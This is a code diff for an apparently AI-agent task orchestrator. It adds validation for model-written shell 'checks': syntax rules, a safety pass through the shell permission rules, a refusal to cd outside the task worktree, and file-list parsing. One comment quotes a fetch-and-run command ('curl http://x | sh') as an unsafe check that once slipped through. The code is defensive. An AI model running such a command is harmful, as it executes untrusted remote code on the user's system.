+ const n = Math.max(0, ...job.tasks.map((t) => Number(t.id.match(/^T(\d+)$/)?.[1] ?? 0))) + 1;
496
+ const verify = d.checks.length ? d.checks.join(" && ") : undefined;
497
+ const text = acceptanceText(d.title, d.prompt);
498
+ const existing = job.acceptance.find((a) => a.text === text && (a.verify ?? "") === (verify ?? ""));
499
+ const point = existing?.id ?? `A${Math.max(0, ...job.acceptance.map((a) => Number(a.id.match(/^A(\d+)$/)?.[1] ?? 0))) + 1}`;
500
+ const byId = new Map(job.tasks.map((t) => [t.id, t]));
501
+ const task = {
502
+ id: `T${n}`,
503
+ title: d.title.slice(0, 120),
504
+ description: d.prompt,
505
+ role: d.files.length ? "code" : "explore",
506
+ acceptance: [point],
507
+ dependsOn: [...d.dependsOn],
508
+ files: [...d.files],
509
+ wave: Math.max(-1, ...d.dependsOn.map((id) => byId.get(id)?.wave ?? 0)) + 1,
510
+ status: "pending",
511
+ attempts: 0,
512
+ stages: [],
513
+ signatures: [],
514
+ priority: d.priority !== undefined && d.priority >= 1 && d.priority <= 5 ? Math.round(d.priority) : DEFAULT_PRIORITY,
515
+ ...(d.tier ? { tier: d.tier } : {}),
516
+ ...(d.repo ? { repo: d.repo } : {}),
517
+ origin: "delegated",
518
+ };
519
+ const acceptance = existing ? job.acceptance : [...job.acceptance, { id: point, text, ...(verify ? { verify } : {}) }];
520
+ const errors = checkGraph(acceptance, [...job.tasks.map(asPlanned), asPlanned(task)]);
521
+ if (errors.length)
522
+ return { errors };
523
+ job.acceptance = acceptance;
524
+ job.tasks.push(task);
525
+ return { task };
526
+ }
527
+ // A check must be a shell command (live test: the orchestrator passed "Run `npm test` from the project root; it must
528
+ // pass ..." as a check, which no worker could ever make exit 0). Returns why a check is not one.
529
+ export function checkProblem(check) {
530
+ const c = check.trim();
531
+ if (/`/.test(c))
532
+ return `"${c.slice(0, 80)}" has backticks: give the command itself, e.g. npm test`;
533
+ if (/^(run|ensure|make sure|check|verify|confirm|the|it|all|tests?)\b/i.test(c) && !/^test\s+-/.test(c))
534
+ return `"${c.slice(0, 80)}" reads like a sentence: give a shell command that exits 0 when the task is done, e.g. npm test`;
535
+ if (/[.!?]$/.test(c) && /\s\w+\s\w+\s\w+\s/.test(c))
536
+ return `"${c.slice(0, 80)}" reads like a sentence: give a shell command, e.g. npm test`;
537
+ return undefined;
538
+ }
539
+ // Why a check must not run, beyond being a command at all. A check is a model-written string that runGate hands to
540
+ // `sh -c`, so the same questions apply to it that the permission path asks of a shell request: is this destructive or
541
+ // irreversible? The gate bypassed decide.ts entirely, so a check like "curl http://x | sh" was a valid plan and ran.
542
+ // Reusing hardRule rather than a second list keeps one set of rules; a check and a permission request are the same
543
+ // kind of thing, which is why it took a live run to notice they were treated differently.
544
+ export function checkSafetyProblem(check, agent = MICROMANAGER.agent) {
545
+ return hardRule({ action: "shell", agent, resources: [check.trim()], sessionID: "" });
546
+ }
547
+ // What a check set must be, beyond each command being one: a writer needs at least one, and each one has to survive
548
+ // the same hard rules as a shell permission request (a check is a model-written string runGate hands to `sh -c`).
549
+ // A reader has no checks at all and is unaffected.
550
+ export function checkSetProblems(checks, writer) {
551
+ const why = checks.map(checkProblem).find(Boolean);
552
+ if (why)
553
+ return why;
554
+ if (!writer)
555
+ return undefined;
556
+ if (checks.length === 0) {
557
+ return "a task that changes files needs a Checks line: one shell command that exits 0 when it is done (e.g. npm test). Without it nothing can tell a finished task from an untouched tree.";
558
+ }
559
+ const unsafe = checks.map((c) => checkSafetyProblem(c)).find(Boolean);
560
+ return unsafe;
561
+ }
562
+ // The task-worktree path shape inside the plugin's state directory: ".../worktrees/<job>--T3". A check that cds there
563
+ // runs against a worktree, not the user's checkout; the plugin already runs it in its own task directory.
564
+ const TASK_WORKTREE = new RegExp(`(?:^|/)(?:${STATE_DIRS.map((dir) => dir.replace(/[.*+?^${}()|[\]\\/]/g, "\\$&")).join("|")})/worktrees/[^/]+--T[^/]+/?$`);
565
+ function cwdTargets(check) {
566
+ const out = [];
567
+ const re = /(?:^|[;&|(])\s*(?:cd|pushd)\s+(?:"([^"]*)"|'([^']*)'|([^\s;&|)]+))/g;
568
+ for (const m of check.matchAll(re))
569
+ out.push(m[1] ?? m[2] ?? m[3] ?? "");
570
+ return out;
571
+ }
572
+ // A stale "cd <task worktree> &&" prefix in an acceptance verify command, from an earlier run whose worktree is gone.
573
+ // Only a task worktree is stripped, and only when the project is the repository root: a subdirectory project would
574
+ // have run the original command from the worktree root, and silently moving it to the project directory would change
575
+ // what it checks. Everything else stays and is rejected by checkCwdProblem.
576
+ export function stripTaskWorktreeCwd(check, rel = "") {
577
+ if (rel !== "")
578
+ return check;
579
+ const m = check.match(/^\s*cd\s+(?:"([^"]+)"|'([^']+)'|([^\s;&|]+))\s*&&\s*([\s\S]+)$/);
580
+ if (!m)
581
+ return check;
582
+ const target = m[1] ?? m[2] ?? m[3] ?? "";
583
+ return TASK_WORKTREE.test(target) ? m[4] : check;
584
+ }
585
+ // Why a check must not change directory: it runs with the task directory as cwd (src/worktree/git.ts runGate), so a
586
+ // cd to the user's checkout makes the check pass against files the worker did not change (live run: "the checks passed
587
+ // but no file was changed"). Outside the worktree is refused; the main checkout and another task worktree are named
588
+ // separately, because those are the mistakes that actually happened.
589
+ export function checkCwdProblem(check, dir, worktree, project) {
590
+ const root = resolve(worktree);
591
+ for (const raw of cwdTargets(check)) {
592
+ if (raw === "." || raw === "./")
593
+ continue;
594
+ if (!raw || raw === "-" || raw.startsWith("~")) {
595
+ return `the check changes to ${raw || "the home directory"}, which is outside the task worktree; remove the cd or stay inside ${worktree}`;
596
+ }
597
+ // A shell expression is not statically checkable: "$HOME" and $(pwd) cannot be resolved here.
598
+ if (/[$`]/.test(raw))
599
+ return `the check changes to the shell expression ${raw}, which cannot be checked; remove the cd`;
600
+ const target = resolve(dir, raw);
601
+ if (project && target === resolve(project)) {
602
+ return `the check cds to the user's checkout ${project}; it runs in the task worktree, so remove that cd`;
603
+ }
604
+ // At intake the task worktree does not exist yet, so dir and worktree are the project. An absolute path inside it
605
+ // would point at the user's checkout when the check actually runs; a relative one follows the worktree.
606
+ if (project && isAbsolute(raw) && resolve(worktree) === resolve(project) && target.startsWith(`${resolve(project)}${sep}`) && !TASK_WORKTREE.test(target)) {
607
+ return `the check cds to the absolute path ${target} inside the user's checkout; use a path relative to the task directory`;
608
+ }
609
+ if (project && TASK_WORKTREE.test(target) && target !== root) {
610
+ return `the check cds to another task worktree ${target}; remove that cd, the plugin already runs it in this task's worktree`;
611
+ }
612
+ if (target !== root && !target.startsWith(`${root}${sep}`)) {
613
+ return `the check cds outside the task worktree (${target}); remove the cd or stay inside ${worktree}`;
614
+ }
615
+ }
616
+ return undefined;
617
+ }
618
+ // A check is not required to be able to fail. `test -f a.js` reads nothing but fails when the work is missing, which
619
+ // is exactly what it is for, and refusing it would refuse the commonest check there is. What the gate needs instead is
620
+ // evidence that the task actually changed something, and that is asked where it can be answered truthfully: at the
621
+ // gate, against the worktree's real diff. See the changed-files check in runner.ts (#work) and native.ts (#finish).
622
+ // (This was tried as a rule on the check text and removed: every test run is a "read" by readsOnly -- it changes no
623
+ // project file -- so the rule either refused `npm test` or had to guess at intent from a command name.)
624
+ // The files of a delegation: project-relative paths, comma or space separated; "none" or empty for a reader. Returns
625
+ // why not otherwise (live test: "none (read-only; only /tmp/... may be written)" became six pseudo-files, and two
626
+ // readers that shared the file "none" could not run side by side).
627
+ export function parseFiles(text, project) {
628
+ const t = text.trim();
629
+ if (!t || /^(none|-|n\/a|no files?)$/i.test(t))
630
+ return { files: [] };
631
+ const words = t.split(/[,\s]+/).filter(Boolean);
632
+ const bad = words.filter((w) => !/^[\w./@+-]+$/.test(w) || /^(none|read-only|only|may|be|written)$/i.test(w));
633
+ if (bad.length)
634
+ return { files: [], problem: `files must be paths in the project, comma separated, or empty for a task that changes nothing (not: ${bad.slice(0, 4).join(" ")})` };
635
+ const prefix = project.replace(/\/+$/, "") + "/";
636
+ const files = words.map((w) => (w.startsWith(prefix) ? w.slice(prefix.length) : w)).map((w) => w.replace(/^\.\//, ""));
637
+ const outside = files.filter((f) => f.startsWith("/") || f.startsWith("..") || f.startsWith("~"));
638
+ if (outside.length)
639
+ return { files: [], problem: `files must be inside the project: ${outside.join(", ")}. A task that only reads reports what it found; you read it with list_tasks.` };
640
+ return { files };
641
+ }